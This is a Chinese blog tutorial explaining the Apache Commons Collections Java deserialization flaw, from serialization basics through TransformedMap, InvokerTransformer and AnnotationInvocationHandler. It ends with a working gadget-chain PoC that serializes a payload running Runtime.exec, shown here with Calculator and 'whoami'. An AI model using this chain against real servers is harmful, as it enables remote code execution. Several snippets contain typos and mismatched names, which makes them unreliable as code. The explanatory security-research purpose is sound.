「 Java反序列化漏洞」Apache Commons Collections
in Code-Audit with 0 comment

「 Java反序列化漏洞」Apache Commons Collections

in Code-Audit with 0 comment

前言


最近总是被问到java反序列化相关原理的问题,索性花时间研究一下。在反序列化漏洞构造思路上不同语言是有区别的。php中更多关注的是魔术方法的调用以构成调用链,java更多关注的是接口组件相关来构成调用链。本篇将尝试从零开始理解Java反序列化漏洞原理,理解容易,讲出来难!

背景


2015年国外安全团队发布出了Apache Commons Collections这一基础类库存在的反序列化安全问题,而各大服务端容器正使用了这种基础类库,从而造成了Weblogic,WebSphere,JBoss,Jenkins,oenpNMS这些我们耳熟的Web Server组件反序列化漏洞。

序列化与反序列化


在了解反序列化漏洞原理之前再啰嗦一下序列化与反序列化的意义:

  1. 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  2. 在网络上传送对象的字节序列。

也就是说,序列化将内存中的对象进行持久化,使其可存储,可传输,可跨平台。

Java实现序列化和反序列化


在Java中一个类能被序列化,则该类需要继承SerializableExternalizable接口(一般情况下我们去关注Serialize接口即可)
Java如何去序列化和反序列化对象呢?对象序列化包括如下步骤:

  1. 创建一个对象输出流如使用FileOutputStream
    FileOutputStream out = new FileOutputStream('bin.ser')
  2. 使用对象输出流ObjectOutputStream的writeObject()方法写对象。
    ObjectOutputStream obj_out = new ObjecctOutputStream(out)然后调用writeObject()方法写对象:obj_out.writeObject()

对象的反序列化则相对的:

  1. 创建一个文件输入流FileInputStream
    FileInputStream in = new FileInputStream();
  2. 创建一个对象数据输入流ObjectInputStream使用ReadObject()去读取对象:
    ObjectInputStream ins = new ObjectInputStream(in);然后使用readObject()方法去读取对象:ins.readObject();

这里通过一个例子来实现一下:


class Person implements Serializable {
    private int age;
    private String name;

    public int getAge() { return age; }
    public String getName() { return name; }

    public void setAge(int age) { this.age = age; }
    public void setName(String name) { this.name = name; } 
}

/**
 *  测试对象的序列化和反序列
 */
public class DemoSerialize {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person对象
        Person p = DeserializePerson();//反序列Perons对象
        p.getName(), p.getAge();
    }
    /**
     * Description: 序列化Person对象
     */
    private static void SerializePerson() throws FileNotFoundException,IOException {
        Person person = new Person();
        person.setName("dr0op");
        person.setAge(20);
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream( new File("Person.ser")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功!");
        oo.close();
    }
    /**
     * Description: 反序列Perons对象
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.ser")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功!");
        return person;
    }

}

readObjec重写引起的问题


在了解Java序列化和反序列化之后,先来明确一个问题:当Java中类重写父类中的方法时,如果该类实例化后的对象调用这个方法时,会优先调用重写后的方法。
当一个类implements Serializable接口,并重写readObject方法,当这个类的对象去调用readObjec()方法时,调用的是子类中的readObject方法。这里继续使用一个例子来理解下:

public class Test implements Serializable{
    private String name;
    public String getName(){
        return name;
    }
    public void setName(String name){
        this.name = name;
    }

    private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException{
        in.defaultReadObject();
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
    }

    public void run() throws IOException{
        FileOutputStream out = new FileOutputStream("dr0op.ser");
        ObjectOutputStream obj_out = new ObjectOutputStream(out);
        Test t = new Test();
        t.setName("dr0op");
        obj_out.writeObject(t);
    }

    public void run2() throws IOException,ClassNotFoundException{
        FileInputStream in = new FileInputStream("dr0op.ser");
        ObjectInputStream obj_in = new ObjectInputStream(in);
        Test T = (Test)obj_in.readObject();
        System.out.println(T.getName());
    }

    public static void main(String[] args) throws IOException,ClassNotFoundException{
        Test test = new Test();
        test.run();
        test.run2();
        
    }

}

在本例中,当调用run方法时,将对象实例化写入dr0op.ser文件中。
当调用run2方法时,(test)obj_in.readObject();会执行Test类重写的readObject方法,随即执行了计算器程序。
java-serialize.jpg
这里我们再次来明确一下,如果readObject()方法被反序列化的类重写,虚拟机在反序列化的过程中,会使用被反序列化过程类的readObject方法,即本例中Test类重写了readObject方法,反序列化过程中会运行Test类的readObject()方法。

认识Apache Commons Collections


Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类并且实现了各种集合工具类。
org.apache.commins.collections提供的一个类包来扩展和增加标准的javacollection框架,即这些扩展也属于collection的基本概念,只是功能不同。
Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collectionsetlistqueue等等,它们是集合类型。换一种理解方式,collectionsetlistqueue的抽象。
Apache Commons Collections的下载及导入:
http://commons.apache.org/proper/commons-collections/download_collections.cgi
https://download.csdn.net/download/friendan/6963159
https://www.findjar.com/jar/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar.html?all=true
官网已经更新到4.2版本了。在高版本中漏洞或许已经修复了,这里建议下载3.2.1版本去测试。
Apache-commons-collections的导入:
idea:file->Project Structure->右侧选项卡Dependencies->加号 选择jar文件并添加lib
eclipse:项目右击build Path->Configure build Paths->Libraries->Add Jars

Java反射机制


对Java的反射机制一般解释为:

在运行状态中:
对于任意一个类,都能够判断一个对象所属的类;
对于任意一个类,都能够知道这个类的所有属性和方法;
对于任意一个对象,都能够调用它的任意一个方法和属性;

简单来说,在Java中,只要给定类的名字,就可以通过反射机制获取类的所有信息。反射的意义可理解为:使Java这种半解释,半编译语言可以动态编译。极大地发挥了Java的灵活性。
一个Java反射的例子:
当Java连接MySQL数据库使用jdbc时,加载数据库驱动时会这样写:Class.forName("com.mysql.jdbc.Driver"),这就是一个使用反射的例子。

Map与transformedMap


Map是一种存储键值对的数据结构,它也是Java中的一种接口,提供一些常用的方法,如keySet(),entrySet()等。在Apache Commons Collections中实现了TransformedMap,该类在一个元素被添加/修改/删除时,会调用transform方法自动进行特定的修饰变换。具体的变换逻辑由Transformer类定义。也就是说,在transformMap中的元素被修改时,会自动对内容进行一些“变化”,这个“变化”就是一个transform。如何去创建一个transformedMap?

Map AfterTransformedMap = TransformedMap.decorate(BeforeTransformedMap,NULL,trainformedChain)

该实例化语句有三个参数:
第一个参数为待转化的Map对象。
第二个参数为Map对象内的Key需要转化的转化方法(可以为空)
第三个参数为Map的对象内Value需要转换的方法。

transformer与ChainedTransformer


在Apache Commons Collections中有一个特殊的接口这个接口就是transformer。
transformer接口作用:接口于tranformer的类具备把一个对象转换为另一个对象的能力。
并且有一个实现该接口的特殊方法InvokerTransformer:
我们来看一个这个InvokerTransformer类的源代码:

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        } else if (paramTypes != null && paramTypes.length != 0) {
            paramTypes = (Class[])((Class[])paramTypes.clone());
            args = (Object[])((Object[])args.clone());
            return new InvokerTransformer(methodName, paramTypes, args);
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }
}

可以看到其实现了transform方法。在方法中接收一个对象,获取该对象的名称。然后调用一个反射方法invoke,如此我们便可以获取任何对象的信息。从源代码我们可以看到,只要传入方法名,参数类型和参数,就可以调用任意函数。
另外当多个transformer串联起来时,就形成了一个ChainedTransformer。当触发时,ChaindTransformer可以按照顺序进行一系列的变换。

//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
*/
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class,Object[].class },
                        new Object[] {null, null }
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String[].class },
                        new Object[] {         
          "/Applications/Calculator.app/Contents/MacOS/Calculator" }
                )
        };

上述代码中,使用ConstantTransformer获取了Runtime类,(ConstantTransformer:将一个对象转化为常量,并返回。),接着反射调用getRuntime函数,再调用getRuntime()exec函数。上述例子使其执行命令可以弹出一个计算器。调用关系为Runtime->getRuntime()->exec()

transformedMap与ChainedTransformer


OK,现在已经知道如何如何利用transformer配合InvokeTransformer去构造一个代码执行。那么如何去触发呢?
前面说到,当transformedMap的一个元素被修改或者删除时,就会自动调用Chainedtranformer。首先来看看如何实例化一个ChainedTransformer:

//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers);

其中的transformers就是上节中构造的代码执行计算器的串实例。
接下来就可以使用transformerMapsetValue()方法去修改元素值,此时会触发Chainedtransformer。执行命令。
到这里思路比较清晰了,总结一下:

  1. 构造一个Map和能执行代码的ChainedTransfomer.
  2. 使用1去生成一个tranformerMap.
  3. 利用MapEntrysetValue()函数对TransformedMap中的键值进行修改
  4. 触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换,执行命令。

代码如下:

public static void main(String[] args) throws Exception {
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})};

//首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap  Transformer transformedChain = new ChainedTransformer(transformers);
     Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发Map中的MapEntry产生修改(例如setValue()函数
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    
    onlyElement.setValue("dr0op");
/*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
 首先通过ConstantTransformer获得Runtime类
进一步通过反射调用getMethod找到invoke函数
 最后再运行命令计算器。
 */
}

readObject与AnnotationInvocationHandler


前面了解到,当被反序列化类重写readObject时,优先执行这个类的方法。其次知道当修改一个transformerMap的元素时会执行ChainedTransformer
现在只需要找到一个类,既重写了readObject方法,又对具有transformerMap且对其元素进行了setValue()。幸运的是Java中具有这样一个类,就是AnnotationInvocationHandler.
把这个类中重写的readObject贴出来:

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

代码中发现对memberValues的每一项调用了setValue()函数对value值进行一些变换。
再来整理一次思路:

  1. 首先构造一个Map和一个能够执行代码的ChainedTransformer
  2. 生成一个TransformedMap实例
  3. 实例化AnnotationInvocationHandler,并对其进行序列化,
  4. 当触发readObject()反序列化的时候,就能实现命令执行。
      

POC执行流程为TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
可以实现POC如下:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待执行的命令数组
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由于Method类的invoke(Object obj,Object args[])方法的定义
            所以在反射内写new Class[] {Object.class, Object[].class }
            正常POC流程举例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map数据结构,转换后的Map
       /*
       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
     利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
     对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

     执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/

至此,关于Apache Commons Collections方面的Java反序列化漏洞原理结束了。

REFERENCE


https://blog.csdn.net/jameson_/article/details/80137016
http://www.freebuf.com/column/155381.html

Responses